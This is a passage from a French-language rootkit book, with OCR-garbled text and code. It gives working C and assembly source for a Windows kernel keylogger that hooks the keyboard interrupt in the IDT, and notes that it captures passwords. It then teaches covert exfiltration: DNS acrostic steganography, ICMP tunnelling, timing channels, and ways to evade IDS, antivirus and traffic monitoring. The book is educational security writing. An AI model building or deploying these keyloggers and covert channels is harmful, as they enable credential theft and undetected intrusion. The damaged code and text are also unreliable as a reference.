accder au matriel, les questions de temporisation, la lecture et lcriture de
commandes avec un contrleur matriel et lemploi dun temporisateur DPC. Nous
allons nous appuyer sur ces premires connaissances pour aborder des manipulations
plus avances du clavier.

1. Le plus petit intervalle de temps pouvant tre planifi est de 10 ms la rsolution du temporisateur ne lui
permet pas de grer une valeur infrieure.

246 Rootkits

Infiltrations du noyau Windows

Redmarrage forc
Un fait peu connu concernant le contrleur de clavier est quil possde une ligne
directe vers le processeur, et qui plus est directement relie sa broche RESET. Cest
une fonctionnalit puissante puisquelle permet de redmarrer la machine,
immdiatement, sans dtour. Il ny a pas de squence prliminaire de fermeture,
aucune possibilit de rcupration.
Cette fonction est hrite de lpoque o les ordinateurs possdaient un vrai bouton de
rinitialisation. Lemploi de ce bouton tait gr par le contrleur de clavier.
Pour en constater leffet, retirez les marques de commentaires de la ligne dinstruction
envoyant loctet OxFE au port 0x64. Elle provoquera un redmarrage.
Cet exemple est superflu car nous sommes dj au niveau du noyau et pouvons mettre
directement une commande de rinitialisation au processeur ou une directive HALT (ou
tout ce que nous voulons). Lexercice permet toutefois dillustrer les bizarreries quil
est possible deffectuer au niveau matriel.

Intercepteur de frappe
Pour effectuer quelque chose de rellement utile, nous devons commencer sniffer la
frappe. Tous les claviers ne sont pas crs gaux. Aussi, ce code peut ne pas
fonctionner sur tous les systmes. De plus, si vous utilisez VMWare ou VirtualPC pour
tester vos rootkits, le matriel est entirement virtuel et peut produire des rsultats
autres que ceux attendus.
La premire tche raliser est de dterminer linterruption qui est dclenche lors de
la pression dune touche du clavier. Sur ma machine Windows 2000, linterruption est
0x31. Cest toutefois diffrent sur chaque machine. La faon la plus sre de dtecter la
vtre est didentifier celle qui est lie la ligne de requte dinterruption IRQ 1 dans le
contrleur PIC (Programmable Interrupt Controller). LIRQ 1 est celle qui gre le
clavier. Une faon de le faire est danalyser limage de la DLL Hal.dll dans le noyau1.
Les interruptions doivent tre traites sans dlai. La mthode "correcte" pour le faire
est de planifier un appel de procdure diffr pour grer les donnes reues. Le
gestionnaire dinterruption lui-mme devrait seulement planifier le DPC et

1. Voir B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal.: eEye Digital
Security,
2005),
disponible
sur
:
www.eeye.com/~data/publish/whitepapers/research/
OT20050205.FILE.pdf.

Manipulations au niveau matriel 247

Chapitre 8

travailler avec le priphrique qui a mis linterruption. Le traitement subsquent


devrait tre gr dans le DPC. Dans notre exemple, nous nutilisons pas de DPC, nous
ne faisons quenregistrer la touche frappe.
Rootkit.com
Le code de l'exemple basic_keysniff peut tre tlcharg l'adresse
www.rootkit.com/vault/hoglund/basic_keysniff.zip.
.

Les dfinitions de macros au sommet du fichier ressemblent ce que nous avons dj


vu. Nous combinons un hook dinterruption avec du code lire et crire sur le
contrleur de clavier :
#define MAKELONG(a, b) ((unsigned long)
(((unsigned short) (a)) | ((unsigned long)
((unsigned short) (b))) 16))
//#define NT_INT_KEYBD
#define NT_INT_KEYBD

0xB3
0x31

// Commandes
#define READ_CONTROLLER
#define WRITE_CONTROLLER

0x20
0x60

// Octets de commandes
#define SET_LEDS
#define KEY_RESET

0xED
0xFF

// Rponses du clavier
#define KEY_ACK 0xFA // Accus de rception
#define KEY_AGAIN 0xFE // Nouvel envoi
// Ports du contrleur 8042
/ / L a lecture sur le port 60 est appele STATUS_BYTE.
// L'criture sur le port 60 est appele COMMAND_BYTE.
// La lecture et l'criture sur le port 64 sont appeles DATA_BYTE. PUCHAR
KEYBOARD_PORT_60 = (PUCHAR)0x60 ;
PUCHAR KEYB0ARD_P0RT_64 = (PUCHAR)0x64 ;
// Bits de registre d'tat
#define IBUFFER_FULL 0x02
#define OBUFFER_FULL 0x01
// Flags pour les LED du clavier
#define SCROLL_LOCK_BIT (0x01 0)
#define NUMLOCK_BIT (0x01 1)
#define CAPS_LOCK_BIT (0x01 2)

248 Rootkits

Infiltrations du noyau Windows

///////////////////////////////////////////////////
/ / Structures de l'IDT
///////////////////////////////////////////////////
#pragma pack(1 )

I l Entre dans l'IDT, parfois appele I l une porte


d'interruption (interrupt gte), typedef struct {
unsigned short LowOffset;
unsigned short selector;
unsigned char unused_lo;
unsigned char segment_type:4; // 0x0E est une porte d'interruption,
unsigned char system_segment_flag: 1 ;
unsigned char DPL:2;
// Niveau de privilges du descripteur
unsigned char P : 1 ;
/* prsent */
unsigned short HiOffset;
} IDTENTRY;
/* sidt retourne idt dans ce format */ typedef struct {
unsigned short IDTLimit;
unsigned short LowIDTbase;
unsigned short HilDTbase;
} IDTINFO;
#pragma pack()
unsigned long old_ISR_pointer;
// Pour sauvegarder l'ancien pointeur
unsigned char keystroke_buffer[1024]; // Pour rcuprer 1 Ko de frappe, int
kb_array_ptr=0;

Les routines suivantes ont dj t dcrites. Aussi, le code redondant a t supprim


du listing ci-aprs :
ULONG WaitForKeyboard()

{
}
// Appeler WaitForKeyboard avant d'appeler cette function
void DrainOutputBuffer()

{
}
// Ecrit un octet sur le port 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )

Chapitre 8

Manipulations au niveau matriel 249

La routine de dchargement supprime non seulement le hook dinterruption, mais


affiche aussi le contenu du tampon de capture du clavier. A lintrieur de la routine,
lappel de DbgPrint est sr, il ne provoquera pas de plantage ou dinstabilit :
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{
IDTINFO idt_info; // Cette structure est obtenue // en
appelant STORE IDT (sidt),
IDTENTRY* idt_entries; // et ce pointeur est obtenu
// de idt_info.
char _t[255];
// Charge idt_info
asm sidt idt_info
idt_entries = (IDTENTRY*) MAKELONG( idt_info.LowIDTbase,
idt_info.HilDTbase);
DbgPrint("ROOTKIT: OnUnload called\n");
DbgPrint("UnHooking Interrupt...");
// Restaure le gestionnaire d'interruption original
_ asm cli
idt_entries[NT_INT_KEYBD].LowOffset =
(unsigned short) old_ISR_pointer; idt_entries[NT_INT_KEYBD].HiOffset =
(unsigned short)((unsigned long) old_ISR_pointer 16);
_ asm sti
DbgPrint ( "UnHooking Interrupt complt.'1);
DbgPrint("Keystroke Buffer is: ");
while(kb_array_pt r--)

{
DbgPrint("%02X ", keystroke_buffer[kb_array_ptr]);

Notre routine de hook rcupre la frappe du tampon de clavier et lenregistre dans un


tampon global. Dans certains cas, la frappe doit tre replace dans le tampon, mais le
code pour raliser cela est mis en commentaire dans lexemple. Certains systmes ne
requirent pas cela. Exprimentez pour dterminer le comportement de votre systme 1.
// L'emploi de stdcall signifie que cette fonction rtablit la pile //
avant de revenir (le contraire de cdecl).
void _ stdcall print_keystroke()

{
1. Un membre contributeur sur rootkit.com, Dsei, a indiqu ceci : "Les donnes ne sont pas retires du port
0x60 avant que vous nayez lu les bits dtat sur le port 0x64." 11 a ajout : "Tenter de replacer le scancode dans le tampon semble provoquer un plantage brutal de la machine lorsque vous utilisez une souris
PS/2." Dsei, "Re: A question about the port read", www.rootkit.com.

Infiltrations du noyau Windows

250 Rootkits

UCHAR c;
//DbgPrintf"stroke");
I l Rcupre le scancode C =
READ_PORT_UCHAR(KEYBOARD_PORT_60);
//DbgPrint("got scancode %02X", c);
if(kb_array_ptr<1024){
keystroke_buffer[kb_array_ptr++]=c;

}
// Replace le scancode (fonctionne sur PS/2)
//WRITE_PORT_UCHAR(KEYB0ARD_P0RT_64, 0xD2); // Commande pour
// l'echo du scancode.
//WaitForKeyboard();
//WRITE_PORT_UCHAR(KEYBOARD_PORT_60, C); // Ecrit le scancode
// pour l'cho.

}
Le hook dinterruption est crit en langage assembleur. Il garantit labsence de
corruption dun registre important et permet dappeler la routine de hook :
// Les fonctions NAKED n'ont pas de code de prologue/pilogue,
// elles s'apparentent fonctionnellement la cible d'une instruction GOTO.
_ declspec(naked) my_interrupt_hook()

_ asm

{
pushad // Sauvegarde
pushfd // Sauvegarde
call print_keystroke
popfd popad
jmp old_ISR_pointer

tous les registres gnraux,


le registre de flags.
// Appelle la function.
// Restaure les flags.
// Restaure les registres gnraux.
// Se dbranche vers l'ISR originale.

}
La routine DriverEntry place simplement le hook dinterruption :
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )

{
IDTINFO idt_info; // Cette structure est obtenue // en
appelant STORE IDT (sidt), IDTENTRY* idt_entries; // et
ce pointeur est obtenu
// de idt_info.
IDTENTRY* i; unsigned long
addr;
unsigned long
count;
char _t[255];
theDriverObject->DriverUnload = OnUnload;

Chapitre 8

Manipulations au niveau matriel 251

I l Charge idt_info asm sidt idt_info


idt_entries = (IDTENTRY*) MAKELONG( idt_info.LowIDTbase, idt_info.HilDTbase);
for(count=0;count < MAX_IDT_ENTRIES;count++)

{
i = &idt_entries[count];
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf(_t, 253, "Interrupt %d: ISR 0x%08X",
count, addr);
DbgPrint(_t);

}
DbgPrint ( "Hooking I n t e r r u p t ;
// Hook d'une interruption
// Exercice : choisissez votre propre interruption old_ISR_pointer =
MAKELONG( idt_entries[NT_INT_KEYBD].LowOffset,
idt_entries[NT_INT_KEYBD].HiOffset);
// Debug - utilisez ce code si vous voulez obtenir // des
informations supplmentaires sur ce qui se passe.
#if 1
_snprintf(_t, 253, "old address for ISR is 0x%08x",
old_ISR_pointer);
DbgPrint(_t);
_snprintf(_t, 253, "address of my function is 0x%08x", my_interrupt_hook);
DbgPrint(_t);
#endif
// Souvenez-vous, nous dsactivons les interruptions // pendant que
nous patchons la table.
_ asm cli
idt_entries[NT_INT_KEYBD].LowOffset =
(unsigned short)my_interrupt_hook; idt_entries[NT_INT_KEYBD].HiOffset =
(unsigned short)((unsigned long)my_interrupt_hook 16);
_ asm sti
// Debug - utilisez ce code si vous souhaitez contrler
// ce qui est plac maintenant dans le vecteur d'interruption.
#if 1
i = &idt_entries[NT_INT_KEYBD];
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf(_t, 253, "Interrupt ISR 0x%08X", addr);
DbgPrint(_t);
#endif
DbgPrint("Hooking Interrupt complt"); return STATUS_SUCCESS;

252 Rootkits

Infiltrations du noyau Windows

Il sagissait dun rootkit plus utile, capable de sniffer les touches du clavier. Cest un
point de dpart car linterception de la frappe est une fonctionnalit fondamentale dun
rootkit. Un sniffeur de clavier peut servir capturer des mots de passe et les
communications.
Pour clore ce chapitre, nous aborderons le concept avanc de modification de
microcode.

Mise jour d'un microcode


Les processeurs modernes dIntel et dAMD1 incluent une fonctionnalit appele mise
jour de microcode. Elle permet un code spcial dtre charg dans le processeur et
de modifier la faon dont il fonctionne. Cest--dire que le processeur peut tre
modifi en interne. Le fonctionnement rel en interne reste toutefois un mystre. Lors
de la rdaction de ce livre, la documentation accessible au public tait rare.
La mise jour de microcode a t prvue non pas pour des activits de hacking mais
plutt pour permettre au processeur dappliquer des corrections de bugs. En cas de
dysfonctionnement, une mise jour peut ainsi tre introduite. Ceci vite de devoir
rcuprer les ordinateurs, une procdure coteuse. Il est possible dajouter ou de
modifier des codes dopration dans le microcode, ce qui peut influer sur la faon dont
sont excutes les instructions existantes ou dsactiver certaines fonctionnalits.
Thoriquement, si un hacker pouvait modifier le microcode dans le processeur, il
pourrait ajouter des instructions pernicieuses. Le plus gros problme semble toutefois
tre de comprendre le mcanisme de mise jour lui-mme. Sil est matris, il devient
possible de crer des opcodes supplmentaires introduisant une porte drobe. Un
exemple vident serait une instruction permettant de contourner la restriction entre les
anneaux 0 et 3. Une instruction GORINGZERO, par exemple, pourrait placer le processeur
dans le mode superviseur sans contrle de scurit.
La mise jour de microcode est stocke en tant que bloc de donnes devant tre
charg dans le processeur chaque dmarrage. La mise jour a lieu dans certains
registres de contrle spciaux. Gnralement, le bloc de mise jour est mmoris dans
la puce flash du BIOS systme et est appliqu au BIOS lors du dmarrage.

1. AMD, brevet amricain No. 6438664.

Chapitre 8

Manipulations au niveau matriel 253

Sil tait utilis par un hacker, il pourrait tre altr dans le BIOS ou appliqu la
vole. Aucun redmarrage nest ncessaire, le nouveau microcode est utilis
immdiatement.
Les processeurs Intel protgent leurs blocs de mise jour au moyen dun chiffrement
puissant. Pour pouvoir modifier "correctement" le bloc, le chiffrement devrait dabord
tre forc. Sur ce point, il est plus facile de travailler avec les puces AMD car elles
nemploient pas de chiffrement. Sous Linux, il existe un driver de mise jour qui peut
charger un nouveau microcode dans le processeur AMD ou Intel. Pour le trouver,
faites une recherche sur Internet avec le critre "AMD K8 microcode update driver" ou
"IA32 microcode driver".
Bien quun grand nombre de personnes tentent de manipuler les mises jour de
microcode par rtro-ingnierie, il faut savoir que la modification dun bloc de mise
jour de microcode peut thoriquement endommager le processeur 1.

Conclusion
Ce chapitre na trait que partiellement le thme de la manipulation matrielle pour en
introduire le concept. Nous esprons quil vous aura toutefois inspir pour faire vos
propres recherches.
Nous avons tudi les instructions de base requises pour lire et crire sur un port
matriel, ainsi que certains piges viter, et avons prsent un exemple de rootkit
permettant dintercepter la frappe au clavier. Il existe des documentations techniques
qui dcrivent les bus en profondeur, et vous devriez vous en procurer un si vous
souhaitez explorer le systme1 2. Nous avons aussi voqu les manipulations possibles
au moyen de modifications du BIOS et des mises jour de microcode. Soulignons
encore une fois au passage quil est possible pour un rootkit dchapper la plupart des
technologies de dtection en sattaquant aux niveaux les plus bas dun systme.

1. Si le processeur inclut des portes de type FPGA pouvant tre reconfigures, une altration de la configuration
physique de ces portes pourrait endommager irrmdiablement le processeur.
2. Consultez, par exemple, les livres de la collection "PC System Architecture Sris", de Don Anderson et de
Tom Shanley (parmi dautres), publis chez Addison-Wesley.

9
Canaux de communication secrets
Nous sommes ce que nous prtendons tre, aussi devons-nous faire attention
ce que nous prtendons tre.
- Mother Night, de Kurt Vonnegut, Jr

Un canal secret est un chemin de communication cach. Ce terme est issu de la


conception des systmes informatiques hautement scuriss et cloisonns que lon
trouve dans les installations militaires grant des informations classes secrtes.
Ces systmes sont censs empcher les processus de communiquer entre eux, ce qui
est trs difficile raliser. Nimporte quel signal, mme trs faible, peut devenir un
canal de communication entre deux parties ds lors quelles peuvent avoir un effet
dessus.
Un canal secret ne doit pas ncessairement tre sophistiqu ou se conformer des
standards acadmiques de furtivit. Il doit simplement tre imprvisible de faon
passer inaperu. Pour un rootkit, un tel canal est typiquement un chemin de
communication qui passe au travers dun pare-feu sans tre dtect par des analyseurs
de rseau, des systmes IDS et dautres mcanismes de scurit. Il doit tre
suffisamment robuste pour pouvoir supporter lexfiltration de donnes depuis
lordinateur ainsi que des messages de contrle. Un attaquant a besoin de cela pour
communiquer avec un rootkit, drober des donnes et ne pas tre dcouvert.

256 Rootkits

Infiltrations du noyau Windows

Il faut concevoir expressment un canal secret car il ne saurait consister en une


conception logicielle ou un protocole connu. Il est gnralement conu sous la forme
dune extension un protocole existant ou un processus de communication logiciel
cr pour transporter des donnes caches.
Nombre de canaux secrets se fondent sur une technique de dissimulation de donnes
appele stganographie qui consiste cacher un message dans un autre document
caractre anodin, autrement dit au vu et au su de tous. Le cinma et la presse,
notamment, ont rendu cette mthode populaire en faisant tat de la dissimulation de
messages dans des photographies numriques.
Ce chapitre commence par expliquer les concepts de contrle distance et dexhltration de donnes. Il aborde ensuite la dissimulation dans des protocoles TCP/IP et le
support de cette dissimulation au niveau du noyau, puis la manipulation de donnes de
rseau brutes. Nous prsentons galement les mcanismes NDIS et TDI qui peuvent
tre employs pour changer via le rseau des donnes avec un driver du noyau
Windows. Fort de ces connaissances, vous devriez pouvoir crer un root- kit capable
de transfrer des donnes sur un rseau sans tre dtect.

Contrle distance et exfiltration de donnes


Comme vous le savez, un rootkit est install pour obtenir un accs distant un
ordinateur. Lobjectif est double : contrler le fonctionnement de lordinateur sur le
plan logiciel et copier des donnes du systme. Des exemples incluent larrt de
lordinateur, lactivation ou la dsactivation des fonctionnalits et la manipulation du
noyau. Lacte de drober des donnes est typiquement qualifi d'exfiltration et peut se
dissimuler sous diverses formes obscures, telles que la transmission de donnes au
moyen dmissions lectromagntiques, lajout dinformations supplmentaires dans
les protocoles rseau ou lexploitation des intervalles de transmission.
Lorsquun accs distance est requis, le rootkit doit pouvoir communiquer via un
rseau. Dans le cas dun rseau TCP/IP, cette communication pourrait passer par une
connexion TCP. Une fois la connexion tablie, des commandes pourraient tre mises
et des donnes, exfiltres.
Dans le milieu des hackers, une solution gnrique classique pour exfiltrer des donnes
est le shell distant, lequel est simplement une session TCP connecte

Chapitre 9

Canaux de communication secrets 257

linterprteur de commandes natif du systme dexploitation cible. Sur une machine


Windows, il sagirait de Cmd.exe et sur Unix, de / b i n / s h o u /bin/bash.
Linterprteur de commandes est lui-mme un programme. Etant donn quil est
prexistant larrive du hacker sur le systme, il suffit au code dattaque de connecter
linterprteur un port rseau. En dautres termes, le hacker ne fait quemprunter
linterprteur pour son offensive.
Une majorit de hackers sont juste paresseux et vitent lorsquils le peuvent davoir
crire leurs propres shells. Mais il en existe aussi dautres qui ont dvelopp des outils
de contrle distance complexes. Back Orifice 2000 1 est un exemple de programme de
contrle distant sophistiqu qui inclut, entre autres, des fonctions daccs aux fichiers,
de capture dcran et mme de surveillance audio.
Ces programmes labors qui implmentent des portes drobes prsentent quelques
inconvnients. Dabord, ils sont surdimensionns par rapport la plupart des besoins.
Ensuite, nimporte quel scanner de virus peut les dtecter. Et, peut-tre le plus gnant,
ils ont t crits par des personnes que vous ne connaissez pas.
Quiconque sengage dans une activit aussi sensible que la pntration distance
devrait se soucier avant tout du risque dexposition. Deux principes essentiels
permettent dliminer ce risque :

m Traces minimales. Les outils utiliss pour linfiltration distance devraient affecter
le moins possible le systme cible afin de limiter les chances de dtection (une
bonne raison de concevoir un rootkit qui nutilise jamais le systme de fichiers).
De plus, un code qui compte un minimum de lignes est moins complexe et est donc
moins susceptible dchouer.
H

Structure et mthodes uniques. Ces outils devraient possder une structure unique
et implmenter des mthodes uniques. Les solutions de dtection de virus
recherchent toujours ce qui est connu. Lorsquelles sont dveloppes, les virus
connus sont analyss pour obtenir des squences gnrales reconnaissables, et ces
squences sont ensuite appliques pour lidentification de nouveaux virus. Si vous
tlchargez un rootkit sur www.rootkit.com, par exemple, votre scanner de virus
isolera probablement le fichier. Lorsquun rootkit ne contient aucune squence
semblable celles des infections connues, il chappe la dtection.

1. "Back Orifice" est un jeu de mots sur BackOffice, qui est un produit de Microsoft.

258 Rootkits

Infiltrations du noyau Windows

Dissimulation dans des protocoles TCP/IP


Les activits dun rootkit devraient tre indtectables. Une communication passant par
un socket TCP peut facilement tre dtecte, la fois sur le rseau et dans le noyau.
Louverture dun socket TCP est loin dtre discrte puisquelle entrane la cration
dun paquet SYN, suivie du fameux processus de ngociation en trois temps (threeway handshake)1. Nimporte quel analyseur de rseau signalera cet vnement. Les
systmes de dtection dintrusion consigneront aussi presque toujours lvnement, et
nombreux sont ceux qui gnreront une alarme. Enfin, les ports TCP permettent
gnralement de remonter jusquau processus logiciel qui les a ouverts, ce qui nest
pas bon pour un rootkit. Des mesures plus subtiles doivent tre employes.
Dans un environnement bruyant tel quun rseau, les systmes de dtection dintrusion
recherchent les activits qui sont inhabituelles ou diffrentes. Une approche efficace
pour concevoir un canal secret est dutiliser un protocole constamment actif sur le
rseau, tel que DNS (Domain Name Service). Un rootkit modifiera le protocole en
insrant des donnes additionnelles dans ses paquets, le but tant de faire en sorte que
ces paquets ressemblent du trafic lgitime pour quon ne les repre pas.
La rgle est simple : se cacher dans du trafic dj prsent.
Pour viter au dpart dentrer dans les dtails du protocole, commencez simplement
par utiliser le port source et de destination dun protocole courant. Pour DNS, il sagit
du port 53 (UDP ou TCP). Dans de nombreuses installations, DNS est mme autoris
traverser le pare-feu. Pour le protocole HTTP, il sagit du port TCP 80, ou 443 pour
HTTP scuris, cest--dire chiffr. Si vous choisissez ce dernier et chiffrez tout, vous
aurez lassurance que personne ne pourra savoir ce que contiennent vos paquets. Il
existe nanmoins des techniques permettant de dchiffrer des sessions SSL 1 2 et que
des quipements IDS peuvent utiliser, bien que ce soit rarement le cas.
Dissimuler des donnes au vu et au su de tous est plus compliqu quil ny parat. Les
sections suivantes abordent les nombreux dfis quil faut relever et propose quelques
suggestions cratives pour la conception de canaux secrets.

1. Le protocole TCP implique lutilisation de trois paquets pour tablir une connexion, d'o le terme
ngociation en trois temps, et est dcrit dans de nombreux documents accessibles au public.
2. Ettercap (http://ettercap.sourceforge.net) est un outil conu cet effet.

Chapitre 9

Canaux de communication secrets 259

Ne pas provoquer de pics de trafic


Cacher des donnes dans un protocole connu nest quune premire tape dans
ltablissement de communications secrtes. Il faut aussi veiller se fondre dans le
volume de trafic existant. Un canal secret ne doit pas gnrer de trafic excessif et doit
rester dans la moyenne pour ne pas attirer lattention.
Si votre rootkit produit dimportantes barres vertes dans le diagramme dun outil
comme MRTG (Multi Router Traffic Grapher)', il ne manquera certainement pas
dtre remarqu. Si le rseau est calme et quune pointe de trafic survient
soudainement 3 heures du matin, son arrive au travail ladministrateur pensera
demble quil sagissait dune activit illicite comme le transfert dune version ISO de
Quake III via un partage de fichiers. Sil mne son enqute, la pointe de trafic le
conduira tout droit la machine qui a t infecte, ce quil vaut mieux viter.

Ne pas envoyer de donnes en clair


Le fait dutiliser un protocole connu et de ne pas gnrer de pics de trafic ne vous
dispense pas pour autant de devoir dissimuler vos donnes de sorte quelles naient pas
lair hostiles. Comme voqu, vous devriez les cacher dans dautres donnes
caractre anodin. Si vous placez un fichier de mots de passe non chiffr dans la charge
utile dun paquet, par exemple, quelquun risque de le remarquer. Si un administrateur
examine le paquet, il saura tout de suite que quelque chose ne va pas. De plus, certains
systmes IDS recherchent systmatiquement dans tous les paquets des chanes
suspectes telles que etc/passwd. La charge utile devrait donc au minimum tre
masque. Mais le mieux est de la chiffrer1 2 ou de la "stganographier".
Stganographie

La stganographie nest en rien une technique sophistique. Elle consiste simplement


dissimuler un petit message dans un message plus grand de manire quil ne puisse pas
tre facilement dtect et nimplique pas ncessairement un chiffrement de ces
donnes.
Russir dissimuler des donnes par ce moyen vous demande de limiter la bande
passante utilise pour votre communication, laquelle sera ainsi beaucoup plus sre.
1. Disponible gratuitement sur www.mrtg.org,
2. Parfois, lemploi dune mthode de chiffrement peut au contraire accrotre le caractre douteux des donnes.
Si le protocole contient typiquement du texte lisible et que vous transmettiez par son intermdiaire des octets
chiffrs illisibles, les paquets ne passeront certainement pas inaperus.

260 Rootkits

Infiltrations du noyau Windows

Pour reprendre lexemple de DNS, la charge utile des paquets DNS comprendrait de
vritables requtes DNS pour des sites Web lgitimes et, dissimules entre ses lignes,
des commandes distance et des donnes exfiltres. Le problme de cette approche est
quelle ne permet pas de transfrer beaucoup de donnes la fois. Le transfert dune
base de donnes ou dun fichier volumineux prendrait donc du temps, jusqu
plusieurs semaines ou mois selon la conception du canal.

Tirer parti de l'intervalle de temps entre les paquets


Un aspect souvent nglig lors de la conception de canaux de communication secrets
est le temps. Plutt quinsrer des donnes dans les paquets dune communication
existante, un rootkit pourrait les transmettre dans lintervalle entre les paquets. Il
mesurerait le moment auquel chaque paquet arrive sur le rseau et utiliserait cette
information pour extraire les donnes dont il a besoin. Un tel canal permet une
dissimulation beaucoup plus efficace. A linstar de nombreuses autres conceptions, la
bande passante de la connexion serait galement limite, nautorisant la transmission
que de commandes et de messages courts.

Dissimuler des donnes sous des requtes DNS


Une dmarche courante consiste implmenter un canal secret sous des paquets DNS,
ce qui prsente certains avantages de taille. Dabord, DNS peut utiliser des paquets
UDP, lesquels nincluent pas la surcharge de service lie la ngociation en trois
temps de TCP. Ensuite, les paquets UDP peuvent tre falsifis. De plus, DNS est
gnralement autoris traverser les pare-feu. Et, enfin, le trafic DNS tant constant
sur un rseau, il est typiquement ignor. Ces deux derniers avantages sont les plus
importants.

La stganographie applique une charge utile ASCII


Il existe des moyens de dissimulation plus subtils que simplement placer une charge
utile chiffre la fin dun paquet DNS. Un fin observateur trouverait cela trs douteux.
Souvenez-vous, quand vous tiez enfant, de ce jeu qui consistait superposer une carte
perfore un texte crit pour rvler seulement certaines lettres, faisant apparatre un
autre message. Cest l le principe de base de la stganographie.
Pour un exemple de stganographie applique des donnes ASCII, considrons un
scnario basique avec un canal secret DNS. Supposons que nous devions envoyer un
message de 10 octets (par exemple une commande ou un mot de passe intercept).

Chapitre 9

Canaux de communication secrets 261

Nous pourrions crer une requte DNS pour chaque caractre du message. Chaque
requte concernerait un site Web dont le nom commencerait par une des lettres du
message transmettre. Un tel message est qualifi dacrostiche (voir Figure 9.1).
S

En-tte En-tte
TCP/IP DNS

Requte pour :
sales.google.com

En-tte En-tte
TCP/IP DNS

Requte pour :
estate.google.com

En-tte En-tte
TCP/IP DNS

Requte pour :
cars.google.com
Requte pour :
railway.google.co
m
Requte pour :
electric.google.c
om
Requte pour :
turnkey.google.co
m

En-tte En-tte
TCP/IP DNS
En-tte
TCP/IP
En-tte
TCP/IP

En-tte
DNS
En-tte
DNS

Figure 9.1

U n e srie de requtes DNS utilises pour coder un acrostiche. La premire lettre des noms
DNS sert reconstituer le message secret.

Cet exemple fonctionne mais il est quelque peu simpliste. Dans la ralit, il faudrait
dabord chiffrer le message puis recourir la stganographie pour offrir deux niveaux
de protection de sorte que, mme si le message venait tre dcod, il serait encore
chiffr.
Notre exemple de conception ncessite une base de donnes de noms DNS, chacun
correspondant un octet ASCII diffrent1. Il pourrait tre amlior en utilisant des
noms DNS qui reprsentent chacun plus dun caractre chiffr afin que chaque requte
DNS puisse transporter plusieurs caractres du message.

1. La base de noms de sites Web pourrait tre cre la vole en interceptant les autres requtes DNS
lgitimes sur le rseau.

262 Rootkits

Infiltrations du noyau Windows

La stganographie est un domaine trs vaste, et un traitement dtaill dpasse le cadre


de ce livre. Vous pouvez partir de lexemple prsent pour approfondir vous- mme le
sujet. Vous trouverez toutes sortes de ressources sur Internet, comme des programmes
et des codes source permettant de cacher des donnes dans des images, des fichiers
.wav et mme des fichiers MP3 1.

Utiliser d'autres protocoles TCP/IP


Les hackers emploient diffrents types de paquets comme canaux secrets, comme
ceux du protocole ICMP. Pour samuser, quelquun a mme cr un canal secret
ICMP pour transmettre de lart ASCII (une forme dart qui utilise des caractres
affichables)1 2. Loki est un exemple doutil connu qui utilise ICMP pour transfrer des
donnes3. Il a donn lieu de nombreuses variantes. Des techniques de rootkit en
mode noyau permettant dexfiltrer via des rponses ICMP la frappe capture ont
galement t dveloppes4.
De nombreuses recherches accessibles au public ont t conduites sur lutilisation des
protocoles TCP/IP comme canaux secrets5. Cette section a couvert plusieurs des
approches disponibles.
Outre les mthodes dcrites, des champs de donnes optionnels ou non utiliss en
temps normal peuvent aussi servir de canaux secrets. Des exemples sont le champ
didentification de len-tte IP ainsi que le numro de squence initial et le numro de
squence dacquittement des paquets TCP.

Dissimulation au niveau du noyau via TDI


Il tait invitable que cette discussion sur TCP/IP nous conduise examiner un peu de
code. Dans un environnement Windows, vous disposez de deux modes pour crire du
code de communication en rseau : utilisateur et noyau. Le code en mode utilisateur
est plus facile crire mais est davantage visible. Celui en mode noyau

1. Steghide (http://steghide.sourceforge.net).
2. D. Opacki, ECHOART. disponible sur http://mirrorl.internap.com/echoart.
3. Daemon9 et Alhambra, "Project Loki: ICMP Tunneling", PhrackH, n 49, article 6 (8 novembre 1996),
disponible sur www.phrack.org/phrack/49/P49-06.
4. Voir B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Viejo, Cal. : eEye
Digital Security, 2005), disponible sur www.eeye.com/~data/publish/whitepapers/research/
OT20050205.FILE.pdf.
5. Voir par exemple C. Rowland, "Covert Channels in the TCP/IP Protocol Suite", First Monday/2, n 5 (5
mai 1997), disponible sur www.flrstmonday.org/issues/issue2_5/rowland.

Chapitre 9

Canaux de communication secrets 263

est plus furtif mais est aussi plus complexe. Le noyau ne comprend pas autant de
fonctions intgres et oblige dvelopper davantage de code soi-mme. Cette section
couvre principalement la dissimulation dans TCP/IP au niveau du noyau.
Les deux principales interfaces avec le noyau sont TDI et NDIS. TDI prsente
lavantage dutiliser la pile TCP/IP existante sur la machine, ce qui vous vite davoir
crire votre propre pile.
Un pare-feu dhte peut dtecter les communications imbriques dans TCP/IP. Avec
NDIS, vous pouvez lire et crire des paquets bruts sur le rseau et contourner ainsi
certains pare-feu, mais linconvnient est quil vous faut implmenter votre propre pile
TCP/IP pour pouvoir utiliser ce protocole.

Cration d'une structure d'adresse


Un rootkit volue dans un environnement de rseau et devrait donc tre capable de
communiquer avec le rseau. Malheureusement, le noyau noffre pas de sockets faciles
utiliser. Des bibliothques sont disponibles, mais elles ne sont pas gratuites et
peuvent aussi tre traables. Bien quelles constituent la solution la plus simple, elles
ne sont pas ncessaires pour pouvoir utiliser TCP/IP dans le noyau.
Pour le programmeur autonome, il existe une bibliothque du noyau qui supporte les
fonctionnalits TCP/IP et avec laquelle il peut interagir depuis un driver en mode
noyau. Les drivers peuvent appeler les fonctions dautres drivers, cest ainsi que vous
pouvez utiliser TCP/IP depuis un rootkit.
Les services TCP/IP sont accessibles partir dun driver qui expose plusieurs
priphriques portant des noms tels que /device/tcp et /device/udp. Intressant, non ?
Cela lest si vous avez besoin dune interface de type socket depuis le mode noyau.
TDI (Transport Data Interface) est une spcification conue pour communiquer avec
un driver qui supporte TDI. Nous sommes concerns ici par le driver du noyau
Windows compatible avec TDI qui expose les fonctionnalits TCP/IP. A lheure de la
rdaction de ce livre, on ne trouve pas de documentations ou dexemples de code de
qualit tlcharger illustrant comment utiliser ces fonctionnalits. Un des problmes
de TDI est quil est si souple et gnrique que la plupart des documents sur le sujet sont
gnraux et manquent de clart.
Pour notre propos, nous avons cr un exemple qui vous familiarisera avec la
programmation TDI.

Infiltrations du noyau Windows

264 Rootkits

La premire tape pour programmer un client TDI est de crer une structure dadresse.
Cette structure ressemble beaucoup celles employes dans la programmation de
